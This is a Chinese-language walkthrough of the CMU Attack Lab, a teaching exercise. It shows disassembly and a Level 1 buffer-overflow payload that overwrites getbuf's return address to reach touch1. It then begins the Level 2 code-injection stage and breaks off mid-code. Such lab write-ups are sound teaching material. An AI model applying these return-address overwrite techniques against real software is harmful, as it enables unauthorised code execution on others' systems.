Attack Lab
一共六个文件
-
cookie.txt
一个8位16进制数,作为攻击的特殊标志符 -
farm.c
在ROP
攻击中作为gadgets的产生源 -
ctarget
代码注入攻击的目标文件 -
rtarget ROP
攻击的目标文件 -
hex2row
将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
Level 1
对于第一阶段,我们并不需要进行代码注入,我们需要做的就是劫持程序流,将函数的正常返回地址给重写,将函数重定向到我们指定的特定函数。在这个阶段中,我们要重定向到touch1
函数。
首先利用objdump -d ctarget > ctarget_asm
得到ctarget
的汇编代码文件
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp ; 扩展栈空间
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf> ; test函数中调用了getbuf
401976: 89 c2 mov %eax,%edx ; edx = eax
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> ; 调用 printf 打印信息
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp ; 扩展栈空间40字节 分配了四十个字节的栈帧
4017ac: 48 89 e7 mov %rsp,%rdi ; rdi = rsp
4017af: e8 8c 02 00 00 callq 401a40 <Gets> ; 调用Gets函数 rdi为该函数的第一个参数
4017b4: b8 01 00 00 00 mov $0x1,%eax ; eax = 1 函数返回1
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>: ; touch1的返回地址为0x4017c0
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
的地址为0x4017c0
,这里我们选择将输入的数据写到ctarget1.txt
文件中,用hex2raw
来生成字节码,
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 先用垃圾数据覆盖40个字节的栈空间
c0 17 40 00 00 00 00 00 最后填入touch1的地址来覆盖getbuf()函数的返回地址 注意x86_64是小端序存储
执行命令./hex2raw < ctarget1.txt | ./ctarget -q
./hex2raw < ctarget01.txt
是利用hex2raw
工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串|
表示管道,将转化后的输入文件作为ctarget
的输入参数- 由于执行程序会默认连接
CMU
的服务器,-q
表示取消这一连接
可以看到第一关就通过了:
Level 2
第二阶段,我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf
中输入字符,然后拦截程序流,跳转到调用touch2
函数。首先,我们先查看一遍touch2
函数所做事情:level2
需要调用的touch2
函数有一个unsighed
型的参数,而这个参数就是lab提供的cookie。所以,这次我们在ret
到touch2
之前,需要先把cookie放在寄存器%rdi
中(第一个参数通过%rdi
传递)。
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else